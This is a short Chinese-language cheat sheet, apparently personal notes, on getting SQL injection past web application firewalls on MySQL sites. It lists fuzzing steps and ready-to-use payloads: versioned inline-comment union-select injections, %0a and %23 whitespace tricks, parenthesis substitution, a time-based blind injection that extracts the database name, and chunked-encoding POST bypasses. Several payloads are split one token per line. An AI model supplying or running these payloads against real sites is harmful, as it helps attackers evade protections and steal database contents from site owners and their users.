一:FUZZ探测
1.bp字典fuzz探测关键字是否被过滤
2.字典探测正则表达式哪些可以通过(/+-) '/'一定需要
二:绕过方法
1.内敛注释:
select /*version()*/; 注释/**/中间的内容
select /*!version*/; 取消其注释,执行其中内容
/*!50000version()*/
是当
mysql
版本大于
50000
时,执行其中内容
id=-1' union/*!10440*/select 1,2,3--+ #
早期
waf
,
id=1'union/*///*/distinct/*///*/select/*///*/sleep/*///*/(2),2,3--+
2.空格绕过
Tips:1. %0a是换行符:例如 union -- %0a select /**/ version();
2. %23等同与#
3.注释符+垃圾数据+换行符
id=' union
/*!--+
/*
%0a
select
/*!
1,2,
*/
group_concat(schema_name)
/*!
from
*/ /*!--+
/*
%0a
information_schema.
/*!
schemata
*/ --+
4.用括号绕过空格(空格被过滤)常用于延时盲注
select(user())from(user)where(1=1)and(2=2)
select(username)from(users)where(id=1)and(level=1);
id=1'
and
(
if
(
ascii
(
substr
(
database
()
from
(
1
)
for
(
1
)))
>
97
,sleep
(
5
)
,
1
))
%
23
Tips:substr(database(),1,1)=
substr
(
database
()
from
(
1
)
for
(
1
))
三:POST绕过
1.超大数据包绕过
2.分块传输
header头中添加:Transfer-Encoding: chunked
使用bp插件Chunked coding converter ->encoding